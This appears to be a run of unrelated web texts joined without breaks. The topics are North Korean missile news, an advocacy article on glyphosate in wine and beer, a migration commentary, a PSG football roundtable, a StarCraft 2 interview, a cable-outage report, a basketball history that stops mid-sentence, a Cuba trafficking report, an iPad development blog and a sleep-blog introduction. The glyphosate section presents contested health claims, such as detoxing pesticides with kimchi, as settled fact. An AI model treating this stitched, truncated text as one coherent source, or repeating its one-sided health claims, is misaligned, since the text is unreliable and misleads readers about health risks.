Following North Korea’s ICBM launch, forces from the U.S. and its ally South Korea conducted joint military exercises in the region that included the launch of a barrage of missiles of their own.
South Korea has stepped up its military presence along the Korean Peninsula in recent weeks, and was considering deploying additional anti-missile systems. The recent ICBM test has also prompted South Korea to discuss with the U.S. increasing the warhead limit of their missiles from 1,100 pounds, to a ton.
The Associated Press contributed to this report.Glyphosate usage has gotten so out of control that it’s seemingly taken on a life of its own and is now showing up even in foods that haven’t been directly sprayed, namely the grapes used to make organic wine.
Glyphosate, the active ingredient in Monsanto’s Roundup herbicide, is the most used agricultural chemical in history. It’s used in a number of different herbicides (700 in all), but Roundup is by far the most widely used.
Since glyphosate was introduced in 1974, 1.8 million tons have been applied to U.S. fields, and two-thirds of that volume has been sprayed in the last 10 years.
A recent analysis showed that farmers sprayed enough glyphosate in 2014 to apply 0.8 pounds of the chemical to every acre of cultivated cropland in the U.S., and nearly 0.5 a pound of glyphosate to all cropland worldwide. [1]
If you purchase organic foods or beverages, you should theoretically be safe from glyphosate exposure, as this chemical is not allowed in organic farming. But a new analysis revealed glyphosate has now infiltrated not only wine but also organic wine.
10/10 Wines Tested Contained Glyphosate
An anonymous supporter of advocacy group Moms Across America sent 10 wine samples to be tested for glyphosate. All of the samples tested positive for glyphosate — even organic wines, although their levels were significantly lower. [2]
The highest level detected was 18.74 parts per billion (ppb), which was found in a 2013 Cabernet Sauvignon from a conventional vineyard. This was more than 28 times higher than the other samples tested.
The lowest level, 0.659 ppb, was found in a 2013 Syrah, which was produced by a biodynamic and organic vineyard. An organic wine made from 2012 mixed red wine grapes also tested positive for glyphosate at a level of 0.913 ppb.
How Does Glyphosate End up in Wine?
While glyphosate isn’t sprayed directly onto grapes in vineyards (it would kill the vines), it’s often used to spray the ground on either side of the grape vines. Moms Across America reported: [3]
“This results in a 2-to 4- foot strip of Roundup sprayed the soil with grapevines in the middle. According to Dr. Don Huber at a talk given at the Acres USA farm conference in December of 2011, the vine stems are inevitably sprayed in this process and the
Roundup is likely absorbed through the roots and bark of the vines from where it is translocated into the leaves and grapes.”
As for how the organic wines became contaminated, it’s likely that the glyphosate drifted over onto the organic and biodynamic vineyards from conventional vineyards nearby.
It’s also possible that the contamination is the result of glyphosate that’s left in the soil after a conventional farm converted to organic; the chemical may remain in the soil for more than 20 years. [4]
Glyphosate Detected in 14 German Beers
A study of glyphosate residues by the Munich Environmental Institute also found glyphosate in 14 best-selling German beers. [5] All of the beers tested had glyphosate levels above the 0.1 microgram limit allowed in drinking water.
Levels ranged from a high of 29.74 micrograms per liter found in a beer called Hasseroeder to a low of 0.46 micrograms per liter, which was found in the beer Augustiner. [6] Although no tests have yet been conducted on American beer, it’s likely to be contaminated with glyphosate as well.
Indeed, laboratory testing commissioned by Moms Across America and Sustainable Pulse revealed that glyphosate is now showing up virtually everywhere, including in blood and urine samples, breast milk, drinking water and more. [7]
The beer finding could be a blow to the German beer industry in particular. The country is the biggest beer producer in Europe and has long prided itself on brewing only the purest beer.
“Das Reinheitsgebot” is Germany’s food purity law. It’s one of the world’s oldest food safety laws and limited the ingredients in beer to only water, barley, and hops (yeast was later approved as well).
Now Monsanto’s chemicals are threatening this German tradition and their reputation for producing the purest beer. As reported by The Local: [8]
“‘In contrast to our colleagues abroad, German brewers don’t use artificial flavors, enzymes or preservatives,’ said Hans-Georg Eils, president of the German Brewers’ Federation, at the Green Week agricultural fair in Berlin.
The keep-it-simple brews indeed suit a trend toward organic and wholesome food, agreed Frank-Juergen Methner, a beer specialist at the National Food Institute of Berlin’s Technical University.
‘In times of healthy nutrition, demand for beer which is brewed according to the Reinheitsgebot is on the rise too,’ he said.”
Glyphosate May Cause Cancer and Other Health Concerns
Many are unaware of the fact that glyphosate is patented as an antibiotic. It’s designed to kill bacteria, which is one of the primary ways it harms both soils and human health. Recent research has even concluded that Roundup (and other pesticides) promotes antibiotic resistance.
Scientist Anthony Samsel, Ph.D. (watch my interview with him above) was the person who dug up the patents showing glyphosate is a biocide and an antibiotic. A study in poultry found the chemical destroys beneficial gut bacteria and promotes the spread of pathogenic bacteria. [9]
Samsel also reported that chronic low-dose oral exposure to glyphosate is a disruption of the balance of gut microbes, leading to an over-representation of pathogens, a chronic inflammatory state in the gut and an impaired gut barrier.
Samsel’s research also revealed that Monsanto knew in 1981 that glyphosate caused adenomas and carcinomas rats.
Monsanto’s own research supports the International Agency for Research on Cancer (IARC) determination that glyphosate is a Class 2A “probable human carcinogen” — a determination Monsanto is now trying to get retracted. Other research has shown glyphosate may:
Stimulate the growth of human breast cancer cells [10]
Have endocrine-disrupting effects and affect human reproduction and fetal development [11]
Induce oxidative damage and neurotoxicity in the brain [12]
Modify the balance of sex hormones [13]
Cause birth defects [14]
Glyphosate May Be Even More Toxic Due to Surfactants
Most studies looking into glyphosate toxicity have only studied the “active” ingredient (glyphosate) and its breakdown product, aminomethylphosphonic acid (AMPA). But the presence of so-called inactive compounds in the herbicide may be amplifying glyphosate’s toxic effects.
A 2012 study revealed that inert ingredients such as solvents, preservatives, surfactants and other added substances are anything but “inactive.” They can, and oftentimes do contribute to a product’s toxicity in a synergistic manner — even if they’re non-toxic in isolation.
Certain adjuvants in glyphosate-based herbicides were also found to be “active principles of human cell toxicity,” adding to the hazards inherent with glyphosate.
It’s well worth noting that, according to the researchers, this cell damage and/or cell death can occur at the residual levels found on Roundup-treated crops, as well as lawns and gardens where Roundup is applied for weed control. [15] As written in the International Journal of Environmental Research and Public Health: [16]
“Pesticide formulations contain declared active ingredients and co-formulants presented as inert and confidential compounds. We tested the endocrine disruption of co-formulants in six glyphosate-based herbicides (GBH) … All co-formulants and formulations were comparably cytotoxic [toxic to living cells] well below the agricultural dilution of 1 percent (18 to 2000 times for co-formulants, 8 to 141 times for formulations).
… It was demonstrated for the first time that endocrine disruption by GBH could not only be due to the declared active ingredient but also to co-formulants.
These results could explain numerous in vivo results with GBHs not seen with G [glyphosate] alone; moreover, they challenge the relevance of the acceptable daily intake (ADI) value for GBHs exposures, currently calculated from toxicity tests of the declared active ingredient alone.”
How to Avoid Glyphosate in Your Food
Your best bet for minimizing health risks from herbicide and pesticide exposure is to avoid them in the first place by eating organic as much as possible and investing in a good water filtration system for your home or apartment. If you know you have been exposed to herbicides and pesticides, the lactic acid bacteria formed during the fermentation of kimchi may help your body break them down.
So including fermented foods like kimchi in your diet may also be a wise strategy to help detox the pesticides that do enter your body. One of the benefits of eating organic is that the foods will be free of genetically engineered (GE) ingredients, and this is key to avoiding exposure to toxic glyphosate. Following are some great resources to obtain wholesome organic food.
Eating locally produced organic food will not only support your family’s health, it will also protect the environment from harmful chemical pollutants and the inadvertent spread of genetically engineered seeds and chemical-resistant weeds and pests.
[pinit]THE Archbishop of Vienna has said the “unbelievable number” of migrants that had arrived in Austria was more than his country could cope with….He said that it was better to concentrate on providing support to the nations in Africa and the East, hoping that migrants “could live in their homeland again.”
Cardinal Christoph Schönborn puts forth a sound view and logical solution that encompasses Christian charity. His view, however, clashes with the socialist/victimology policy that indiscriminately encourages foreign immigration, even to the detriment of Western societies.
In September, Cardinal Schönborn warned of an Islamic conquest of Europe and prayed: “God have mercy on Europe and on thy people, who are in danger of forfeiting our Christian heritage.”
“‘Europe’s Christian legacy in danger’ Archbishop of Vienna in warning about migrant crisis”, by Jon Rogers, Express, December 25, 2016:
Cardinal Christoph Schönborn said he had come to “rethink” his stance on the migrant crisis during a special Christmas TV discussion programme with Protestant Bishop Michael Bünker.
The Cardinal, who is tipped as a possible future leader of the Roman Catholic church, said he was no longer convinced that Europe should accept all arrivals.
He said that it was better to concentrate on providing support to the nations in Africa and the East, hoping that migrants “could live in their homeland again.”
He added that he was becoming “more cautious” in his attitude as migrants had arrived in “unbelievable number”.
He said: “We have had to learn, this [crisis] goes well beyond our capacity and ability.”
Speaking about the changing mood in the country, with the rise of the anti-mass migration Freedom Party which looks to gain ground in the upcoming general election, the Cardinal said: “Our country is worried”.
His comments will put him at odds with senior members of the Catholic clergy who have vocally advocated mass migration.
The Archbishop of Cologne, the German city that saw the New Year’s Eve attacks and sexual assaults, Archbishop Woelki used a migrant boat taken from the Mediterranean as an altar in special service overlooking the Cathedral square.
Cardinal Schönborn is something of a controversial figure within the church, describing himself as the intellectual architect of “lifestyle ecumenism” and has previously spoken out over Islam.
In his homily at St Stephen’s Cathedral on September 11 he said: “Will there be a third Islamic attempt to conquer Europe? Many Muslims think this and wish this and say that Europe is at its end.”
Cardinal Schönborn later clarified: “Europe’s Christian legacy is in danger, because we Europeans have squandered it. That has absolutely nothing to do with Islam nor with the refugees. It is clear that many Islamists would like to take advantage of our weakness, but they are not responsible for it. We are.”…..By now you’ve seen the video. After Paris Saint-Germain and Lille played to a scoreless draw, Serge Aurier went on Periscope, a social media app that allows users to broadcast live video to the world, and proceeded to disparage his teammates and manager Laurent Blanc. This is the last thing any PSG supporter wanted to be talking about ahead of the the UEFA Champions League matchup with Chelsea on Tuesday but myself, along with a few of our writers, wanted to share our opinions on the situation.
Daniel: I was planning on writing an article that would sum up how superb Serge Aurier has been for Paris Saint-Germain this season before his recent public showing of stupidity sent a season’s worth of effort down the drain. Just when you thought everything was going right for Paris, with the squad fully fit for the first time in a while, particularly heading into what Javier Pastore rightly described as the beginning of the season with the Champions League knockout stages looming, this new episode of drama pops up. Aurier is by far my favorite player on the team. I love the zeal and vigor he displays on the pitch but seeing the translated subtitles of the video weakened me on a personal level. Insults to so many key players and especially to the manager is wrong on every level.
If he still has a future at PSG, I can’t really say as there are many people involved in that decision but I do know his actions will carry heavy consequences. I’m usually up for the drama but this is downright extreme and probably worse than all of Adrien Rabiot’s tantrums combined. It will be difficult for him to clear the air in the dressing room after this—especially with Zlatan Ibrahimovic. Paris has done well not to take any rash decisions in my opinion. His suspension from the team is the best they can do at this point. The Ivorian still remains one of the best players at his position in all of Europe and it will be wise for PSG to find a way to mend feelings before resolving to sell or flat out sack him as there will be no shortage of clubs lining up to steal Aurier on a free. I have a lot of bias towards Aurier and replacing him will not be an easy task. I hope Blanc’s excellent man-management skills can somehow help bring the Ivorian from this predicament.
Dave: Initial reactions around the world must have been shock, surely. Serge Aurier has proven before that he cannot be trusted with social media, having ruled himself out of contention versus Barcelona in the Champions League quarter-finals last year via a profanity-laden tirade on his Instagram (the aptly-titled “thecrazychild93”). Yet that was so much less alarming. Stupid, yes, but the young right back showed a bit of passion, a bit of fire. Certainly some fans reflected his thoughts regarding Zlatan Ibrahimovic’s red card.
Where is that loyalty now? Where has the professionalism gone? This vapid, pointless controversy created from absolutely nothing is a knife in the back of his own club. Aurier is nothing short of a key player, and certainly, if not now, a future top five right back in the world. His play has elevated to a new level as of late, raising his standards further, but Paris fans will recall a poor start to his then-loan move from Toulouse. It was only after the triumph with his native Ivory Coast in the African Cup of Nations, and a brief subsequent injury layoff, that Aurier truly began to shine. He has displaced Marquinhos and Gregory Van der Wiel by merit. A few days ago, he was to be a lynchpin in the Parisian attack.
“…two years ago I committed myself to make him [Aurier] come to Paris and I think what I saw yesterday that’s all the thank you I got. I think that’s pitiful”—Laurent Blanc
This breach of trust is not only treason against Laurent Blanc, it’s an attack on the dressing room. Surely the manager, who has recently extended his time in Paris, will feel personally hurt by this entire affair. As his recent comments reflect, a man who not only made Aurier a primary target but gave him every chance to improve, a man very much responsible for the Ivorian’s development, is well within his rights to be betrayed in this situation.
The sanctions levied against Aurier are surely temporary. There will be harsh words and probations, but the club has an objective and truthfully, in three years’ time Layvin Kurzawa and Aurier—themselves good friends—could be the best full-back pairing in Europe. That will be the club’s perspective, although pending Champions League performances, Aurier may not play again this season (perhaps youngster Alec Georgen might get a run-out?). The Ivorian’s real fate lies in the dressing room. One cannot tell how it must feel to be Gregory van der Wiel, who has surely been working day-by-day to reclaim his spot, now publicly humiliated by the man who took the starter position from him. The rest of the team must be disappointed and disgusted with their teammate and only time will tell if that can be remedied. If the internal problems are not reconcilable, then surely Paris must send Serge on his way. Potentially the most pathetic of endings to what could have been a legendary career here.
Ed: When the Serge Aurier news broke I was on Twitter stating that I thought he should be severely fined and apologize but in no way should Paris Saint-Germain look to sell or release him. Others disagreed and believe there is no coming back from his comments, especially those aimed at Laurent Blanc, but I stand by my initial thoughts.
Serge Aurier is a top 5 RB in Europe. I can’t see #PSG terminating his contract/benching him. Heavy fine and public apology. — PSG Talk (@PSGTalk) February 14, 2016
Paris Saint-Germain is a business and Aurier is an asset—a highly prized one at that. To let a player of his caliber leave on a free to a European competitor would be foolish as would selling him at a reduced price (teams would lowball PSG knowing they have to sell).
Aurier is 23-years-old and I would hope the veterans in the locker room would be able to understand that young people, especially on social media, do and say stupid things. I would also hope they understand that their chances to lift the Champions League trophy increase dramatically if Aurier is on the pitch. This could very well be Zlatan Ibrahimovic’s last chance to achieve European glory and I believe he would come across brilliantly if he put his arm around Aurier and brought the team together instead of contributing to its collapse—similar to the way Mike Vick did for Riley Cooper when a video revealed the NFL wide receiver using a racial slur at a concert.
If there really is no coming back from his comments and PSG decide to move the right back to another club, supporters will forever wonder what Aurier’s career could have been at the Parc des Princes if not for a silly social media rant. A truly sad way to be remembered in my opinion.
What do you think of the situation? Do you think Aurier has a future at PSG? Let us know in the comments or tweet us @PSGTalk.StarCraft 2 BlizzCon 2010 Interview: Lead Producer Chris Sigaty
Shack: You've said recently that the first expansion, Heart of the Swarm, is about 18 months away from being released. It wasn't shown at BlizzCon. What's the status of the project?
Chris Sigaty: I did say 18 months in the past, but I can't say that is true. It was an effort for me to put things in perspective on the long side. We honestly do not have a date. We're trying our best to make sure that we're supporting the community from now until then.
Between Warcraft III: Reign of Chaos and The Frozen Throne, we didn't really do anything with Reign of Chaos. No map releases. We were too caught up with recovering from the release to frantically getting The Frozen Throne out. We have better support plans for StarCraft II with customizable hotkeys, chat channels, updated leagues on top of the normal bug and balance fixes.
We're going to look to add content [to Wings of Liberty] any time we can while we get Heart of the Swarm done. We just launched on July 27, literally two months ago, and then BlizzCon is here. Our focus has largely been on making sure problems have been addressed and getting out the first few features.
We are working on Heart of the Swarm, but I can't give you a date. I have no idea really, but we're about to start development in earnest.
Shack: Valve has trademarked "DOTA", but you are calling your Defense of the Ancients map for StarCraft 2 "Blizzard DOTA". Do you foresee any legal issues here?
Chris Sigaty: No issues, but I'm not clear on the behind-the-scenes things going on. We have the utmost respect for Valve. We talk to them a lot and have a good relationship with them. I'm sure things will work themselves out. We're huge fans of the DOTA style gameplay. It's been around a long time and goes back to the original StarCraft.
Obviously, we want to make sure people can continue to develop that type of game and play it in our game. Smarter people than I will have conversations and deal with that issue.
Shack: Since DOTA characters are based upon Warcraft III art assets, are there copyright concerns if Valve's Dota 2 characters are too similar to the originals?
Chris Sigaty: We're aware of this, but I don't have any specifics. We'll see what the future holds.
Shack: StarCraft II's DOTA map definitely doesn't have the depth of DotA-Allstars. Is this intentional and will development continue on the map?
Chris Sigaty: This is a first effort: let's throw something out into the community and see how they react to it. Depending on how they do, we may go way more into it or not.
Obviously, our 10 heroes versus... I don't even know what [DotA Allstars] is up to now. We could certainly go way more in depth, but we aren't done. Out of those four mods you see, in a release order, DOTA is at the end. We're going to do more before we release it. There's things that will release in our coming patches that will add more support that will help things like shops, items, and inventories so it's possible that it will get more in depth even before we release it for free.
The next step is after its released and the community has access, do we go way more in and put a ladder or matchmaking around it, but it remains to be seen. It would depend on community interest.
Shack: So the big content patch with custom hotkeys, chat, etc. Will this be the only patch for the near future or will we get more patches?
Chris Sigaty: It's broken up. We didn't commit to any specific dates. We have a patch that should be in the next week or two that should be to address a few bugs and a minor balance update. That's coming very shortly.
Beyond that, definitely chat channels along with customizable hotkeys. We're targeting this for the near term. Within months, for sure. Those are some big features so the test timeline for that patch creates a bigger time window.
Shack: Do you plan patches around the major tournaments that are going on like the GSL or the MLG events?
Chris Sigaty: We've warned all tournament entities that they should warn players that we will patch when we need to patch. We are looking at some things for potential solutions to help them in cases where they really don't want [a patch], but that's for later. Things like potentially playing on testing realms for a period of time, but we're just talking about that. There's no specific gameplan.
Shack: At the recent MLG DC tournament, there was lag and disconnects during some matches. Have you re-examined LAN play or special tournament features for licensed partners like MLG?
Chris Sigaty: We're definitely paying a lot of attention to that. I don't have any specific announcements, but at a minimum there are some things that I think we want to look at. we're trying to make sure we're communicating with organizers of competitive events so we can find out others tools would help in those situations.
Shack: English-speaking players in the Southeast Asia region now have the option to play on the North American Battle.net server. How is this program going and will it expand to additional regions?
Chris Sigaty: We're talking about it and we're very aware. We've heard from the player community. The truth is it's not an overwhelming number, though the people that can't get where they want are very adamant. We're looking on a case-by-case basis. We're going to do it where and when we can, but I can't give a timeframe.
I think the long-term vision of Battle.net is that everbody can play together, but the realities are it's a different world than WarCraft III. War3 only had the War3 Battle.net account. There weren't accounts in the sense that we have today.
There are challenges like SSN numbers, which are required to play in Korea. There are limitations both in how our accounts work now and business models to overcome, but we'll look into it where it makes sense.
SEA and NA is working well, but I don't have numbers. Even if the numbers are reasonably high for players in SEA playing on NA, it's still a phenomenon there. World of Warcraft players in Australia have been playing on NA servers forever.
Some players would want to log in to Korea to play Korean players and practice, but we're looking at it. Having that unified goal is where we want to be, but there are some challenges. we'll at least do it in some situations.
Shack: Finally, players using third-party hacks and trainers were recently banned or suspended despite claiming to have only used them in singleplayer. Is Blizzard taking a zero tolerance policy toward hacks and trainers, even if players never take them into multiplayer?
Chris Sigaty: No, it's not that we have a zero tolerance policy. The excuse I've heard from people is that if they are using these trainers in singleplayer, they should have a right to do so. What is singleplayer in the game is a perception thing. If you play the campaign, we're not really looking for you.
However, I will warn you that, while we haven't started down this path, it is possible that we can identify people that use some cheat to get 100 achievements in a matter of seconds. We have the ability to go and look at that data and say that person is going to be banned or we'll take away all of their achievements.
We haven't started down that path, but its possible we could. These trainers and cheats being used in campaign, we already have cheats in the campaign. If you use a trainer in there, we are not detecting today and we haven't so far, but if you play multiplayer--even if there's not a human opponent--even against the AI in a multiplayer mode, we will look for that, find it, and could potentially hand out bans or suspensions.
We're not being completely draconian, but at the same time, be wary of these trainers and hacks because it's not just protecting the game, though we are adamant about that. We do whatever we can to get cheating players out of the ladders. It's also to protect players. The people releasing these hacks might be including keyloggers and other sorts of hacks on your system.
My message is: beware of using trainers and how you conduct yourself on Battle.net.
Be sure to check out the rest of the Shacknews BlizzCon 2010 coverage.New Zealand's reliance on Southern Cross' fibre-optic network has been highlighted by another cable break.
Southern Cross Cable has been forced to divert internet traffic on its cable network connecting New Zealand, Australia and the United States for the third time this year.
Spokeswoman Rosemay Foot said its cable network was cut in Niles Canyon, near San Francisco, on Tuesday, New Zealand time. She was unaware of the cause but said the cable had since been fixed.
Southern Cross redirected communications traffic that would normally flow direct between the United States and Australia through New Zealand during the outage. New Zealand customers were not affected, she said.
The incident follows two other cable-breaks on US segments of its network in February and May.
READ MORE:
Cable cut for second time in three months
Southern Cross Cable cuts a 'timely reminder': Tuanz
Although all the breaks were on-shore, Telecommunications Users Association chief executive Craig Young said the latest incident "reiterated its concern" about the country's reliance on a single trans-Pacific cable network.
If the network had been cut separately in another place before the first break had been repaired, New Zealand internet traffic might have needed to be redirected via Asia, impacting performance, he said.
Foot said Southern Cross' mitigation measures worked "exactly as they are supposed to."Regardless of how you feel about basketball, you’ve got to appreciate the way it can bring groups of strangers together to share moments of pure adulation and collective defeat. Case in point: the buzzer beater:
You know this moment: time is running out, the team is down by one, a player arcs the ball from downtown just as the buzzer sounds—and sinks it. it’s exhilarating. It’s heart breaking. And most of all, it’s good design. But it’s not the way basketball was originally designed.
The invention of basketball is credited to James Naismith, a phys ed instructor who had the idea to mount peach baskets to a the walls of a Springfield, Massachusetts gymnasium, and have his students attempt to throw a leather ball through them.
After points were earned, the game was put on hold until someone could retrieve the ball with a ladder.
Eventually, the bottomless basket became the standard, and early 20th Century basketball became a speedier game than in the 1890s. But watch any game from as late as the 1950s and it still seems dreadfully slow compared with how the game looks today.
Here’s what’s missing from the basketball of yore: the shot clock.
During pro basketball’s infancy in the 1950s, nothing forced a player to shoot the ball. If a team was winning, and they wanted to keep their lead, the team could literally hold on to the ball for ten minutes and run the clock out.
The game may not have seemed slow to the players, but it wasn’t a particularly compelling spectator sport. Especially when you had games like the November 22, 1950 bout between the Ft. Wayne Pistons and the Minneapolis Lakers, which had a final score of 19-18.
Fast forward to 1954. Enter Danny Biasone, owner the Syracuse Nationals. Biasone had crunched some numbers, and he believed that some simple arithmetic could save basketball.
By this point, an exciting game of pro ball would have teams scoring 80 or more points—a score that Biasone figured was high enough to retain the audience’s interest. Biasone started tracking how many shots a team needed to make to score the requisite 80-something points, and he found that each team needed to take an average of 60 shots per game.
So given…
60 |
, Cuba, April 14, 2017. REUTERS/Alexandre Meneghini
Communist-run Cuba is generally suspect of inspections by international institutions, and this was the first visit by a U.N. human rights investigator in a decade.
“I hope that this will be a stepping point for a more intense and fruitful dialogue with the whole human rights system,” said Maria Grazia Giammarinaro, U.N. special rapporteur on trafficking in persons.
Cuban dissidents, whom the government considers mercenaries funded by U.S. interests, said it was a positive sign that she had been invited, but only a first step.
“It is notable they are not inviting special rapporteurs who look into torture, penitentiary systems, freedom of expression, the functioning of electoral systems, etc,” said Elizardo Sanchez, leader of the Cuban Commission of Human Rights and National Reconciliation, which monitors arrests of opponents.
Cuba’s free healthcare, education and social security systems help reduce vulnerabilities that can lead to trafficking, Giammarinaro told a news conference.
“Vulnerability factors are probably less significant than other countries’ - for example, social inequalities and situations of complete destitution,” she said.
She did note, however, concerns over Cubans emigrating, for example, in hopes of taking greater advantage of their skills abroad and then “finding themselves in a situation of destitution.”
A migration crisis erupted in recent years due to fears the United States might end its lenient asylum policy for Cubans in the wake of its historic detente with Cuba.
Thousands sold their belongings to raise cash for perilous journeys in pursuit of their American Dream.
Cuba long argued that this U.S. policy fostered human trafficking, and the Obama administration repealed it in January. Giammarinaro said she had been informed there had since been a decrease in emigration.
After a week of meetings with Cuban civilians and government officials, Giammarinaro said she had identified a few other areas of concern, such as sexual abuse, particularly of children.
She said the Cuban legal framework could be improved. For example, children should be protected by criminal law until the age of 18, and not 16 as is the case today.
Giammarinaro applauded that prostitution is not seen as a crime in Cuba but raised her concern with authorities that it was still stigmatized socially and sometimes punished with detention.
“People shouldn’t be punished for being induced, manipulated or forced into prostitution,” she said.Did you know there’s a whole subculture of people who are determined to live in their vans? Like, exclusively. They eschew the burdens of living between bricks to adapt their vehicles into a simple, often minimal, “good enough” environment in which to eat, sleep and not bathe.
Well, get ready for the tech equivalent of living in your van: working on an iPad.
This is not a new thing. Many already do employ a tablet as their primary (or only) work device. iOS 11 and its greatly improved multitasking helped a lot with that, and PadLifers such as Federico Viticci and CGP Grey are championing the cause. But they’re writers, and video content creators. What of today’s code monkeys? Are we doomed to be shackled to our laptops until AI makes us irrelevant like every other occupation?
No, I say! I recently was inspired to see if it was possible to do my job (writing software) on an iPad Pro with a keyboard attached. Though I guess even the keyboard is unnecessary, but strongly recommended.
I’ve always wanted to be productive on an iPad. I mean truly productive. Not just “replying to emails with a single sentence” productive, I mean really writing software on it. The focus of the iPad (and iOS) has always been so attractive to me – it’s just a rectangle with nothing but your current app to steal your attention. It’s a peaceful environment, save for notifications flying onto your screen, but they can be easily tamed (my notification settings for iOS are minimal). The primitivity of multitasking has been a feature of iOS for a long time, and the new additions in version 11 have simply made it more convenient to use multitasking – it fortunately retains the limitations of working with no more than two apps at a time.
On my Mac, I mostly live in a terminal window. I write code, I run and test that code, and when I’m finished I push that code to a central git repository – all in a terminal window. Sure, there’s also web browsers, email apps and group chat clients that consume 200x more memory to fill my display with emojis than it took to send a robot to an alien planet. But my core productivity happens in a terminal. I wished I could have that same environment on an iPad, so I decided to see how far I could go to make that dream a reality.
The Development Machine
Somewhere deep below the surface, an iOS device is a Unix machine. Just like a Mac. Unfortunately there’s no way to access that layer. I can’t fire up a terminal and start working. That’s a clear non-starter, so I realised pretty quick I would have to host my development environment remotely. Two options presented themselves to me. I could:
Remote into my MacBook Pro. This would require it to be powered on and available over the network (preferably over the Internet) whenever I wanted to work. This approach has its benefits, but ultimately I just couldn’t guarantee that availability. So, my other option was to: Host it on a remote server. A VPS perhaps. Yeah that sounds pretty good.
It would incur an additional cost (more on cost mitigation later), but knowing that machine would almost always be online and ready to go is more important than you might think. It also gives me the ability to scale the machine up or down as needed. I could have a development machine with 2GB of memory, then up it to 32GB in a matter of seconds, then back down to two when I was done with that particular task. Can’t do that kind of bidirectional vertical scaling with a laptop.
And so it was decided. But where should this machine live?
The Hosting Platform
Why, DigitalOcean of course (observe my seamless affiliate link integration). I host a number of things there anyway. I know their platform and offerings well enough. AWS, Linode, Vultr – there are a number of perfectly good alternatives. Don’t yell at me because I’m not using your favourite.
A 2GB machine at DigitalOcean will run me about $20 a month. That’s not going to break the bank by any means, but it feels weird to be paying for a machine I’m only using approximately eight hours a day. I guess that’s why they offer per-hour pricing.
Of course, I can’t just power the machine on and off when I’m not using it. Cloud hosting platforms will almost always still charge you for a powered-off machine. Therefore, for a true pay-as-you-go pricing model for my development environment, I would have to delete and recreate this virtual machine as and when I needed it. That’s when things get trickier.
Obviously I don’t want to have to log in to DigitalOcean’s management panel every time I want to get some work done to spin up a server, set it up, secure it, install everything I need and then get going. That’s absurd. I had to automate that. Is iOS capable of such automation?
The Workflow
It is, silly! Workflow (recently acquired by Apple itself) is an app that provides a graphical programming environment meant to automate common tasks you perform on your iOS device. It can also make HTTP requests, meaning I could use it to interact with the DigitalOcean API!
I had to build a workflow that did the following things:
Provision a new virtual machine Reimage that machine so that it is identical to the previous development machines I have used Attach a known, constant IP address to it so it is always available at the same address (optional, but super helpful) Power the machine off when I was done Take a snapshot of that machine to restore on new machines at a later time Delete the machine so I didn’t get charged for it any more
And I did. Here’s the workflow for you to import and use (you’ll need a DigitalOcean API key).
Now, with a single tap (and maybe 30–45 seconds of waiting – I’d like to reduce that, but it’ll do fine) I can spin up my development server in the exact state I left it in when I was last finished with it.
Note: if you want to do this, you’ll need to create a “floating IP” on DigitalOcean to assign to your machine. You create these per-datacenter, and as far as I can tell, these per-datacenter IPs can only be reserved through the API, not the web UI. Once a floating IP is created, you can assign it to whatever machine you want within that datacenter.
I use a 64-bit Ubuntu 17.10 image. All the SSH public keys I need (basically those of my iPad and my MacBook Pro) are authorised to connect without a password, all I need to do is type mosh eddbox in my terminal app to connect to it.
Wait, what? Terminal app?
The Client
Yeah, terminal app. There aren’t many of them on iOS unfortunately. Prompt by Panic is a popular one, but it has some serious flaws that make it unsuitable for me:
It doesn’t persist connections. You basically have to keep the app open and active for as long as you’re using it. You can’t switch to another app, lest you risk losing your session. It doesn’t support remapping of keys. This is a weird quirk that is surprisingly important. It’s common practice these days to remap your caps lock key to “escape”, especially for vim users. I have trained myself over the years to hit capslock when I mean escape, and that’s muscle memory you just can’t easily unlearn, especially when you only need to unlearn it when in a certain context. Also there’s not even an escape key on the iPad keyboard, so, yeah.
Here we see some rad tmux panes.
That first one is really a limitation of SSH, and is rectified by mosh, which Prompt is actually legally unable to implement because it’s not open source. Another app, Blink, is open source (it has a $20 price tag on the App Store, which you can get around by compiling it yourself, but I encourage you to pay it to support the developers). And it can remap capslock!
Mosh – “Mobile Shell” – is fantastic. It’s the shell for the mobile age. It keeps sessions open for me, which means I can switch apps with abandon and even switch networks (great for when working in coffee shops, over LTE, across VPNs, or on a plane over Mongolia). Without it, and the Blink client, the PadLife dream is dead. Combine it with tmux, and I have a basically uninterruptible terminal session. I can even resume the same session on my Mac if I wanted to.
Mosh also deals with latency very well, for when I’m on a slow network. The rate at which my client updates is not closely tied to the rate at which I can receive those updates to the server.
The Environment
The dev environment itself can very closely resemble my Mac’s. By syncing my dotfiles through git, configuration of bash, tmux and neovim can remain the same across both local and remote machines.
I use Docker to package, manage and isolate services that support individual apps and projects I work on. And what’s more, it’s Linux! So no need to run these services in a virtual machine like on macOS, meaning native performance (slow I/O plagues my Docker experience on Mac).
A single rectangle on my desk with nothing but some tmux panes. I’m on some zen shit right here.
The Native Apps
Not everything has to be done through a terminal. Apps like Dash, Bear, Things, and the native JIRA and Slack apps help me through my work day too, and work great with iOS 11 multitasking.
The Drawbacks
No offline working. Yeah this is kind of a big deal, but that deal is decreasing in size all the time as fast internet access becomes more ubiquitous. For now, I’ll have to bring my MacBook Pro if I foresee having to work offline. Which is fine, I’ll deal with that for now.
Are there are other issues around this setup that I’m missing? I have run into very few problems so far, but maybe there’s some dealbreaker I have yet to experience.
All in all, it’s a very freeing feeling. Maybe I’ll get bored of it and stop using it. And if I do, that’s fine. It’s been a fun experiment.This is not really a new post. But it is not exactly a re-publishing of an old post either. It is a lightly edited mashup or compilation of excerpts from several old posts - I hope it all makes sense this way, all in one place. The sources of material are these old posts:
Sleep Schedules in Adolescents (March 26, 2006)
ClockNews - Adolescent Sleep (March 28, 2006)
More on sleep in adolescents (April 01, 2006)
When Should Schools Start in the morning? (April 02, 2006)
All Politics Is Local (June 29, 2006)
Adolescent Sleep Schedule (September 10, 2006)
Books: “Snooze…Or Lose! – 10 “No-War” Ways To Improve Your Teen’s Sleep Habits” by Helene A. Emsellem, MD (May 15, 2008)
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I am glad to see that there is more and more interest in and awareness of sleep research. Just watch Sanjay Gupta on CNN or listen to the recent segment on Weekend America on NPR.
At the same time, I am often alarmed at the levels of ignorance still rampant in the general population, and even more the negative social connotations of sleep as an indicator of laziness.
Nothing pains me more than when I see educators (in comments) revealing such biases in regards to their student in the adolescent years. Why do teachers think that their charges are lazy, irresponsible bums, and persist in such belief even when confronted with clear scientific data demonstrating that sleep phase in adolescents is markedly delayed in comparison to younger and older people?
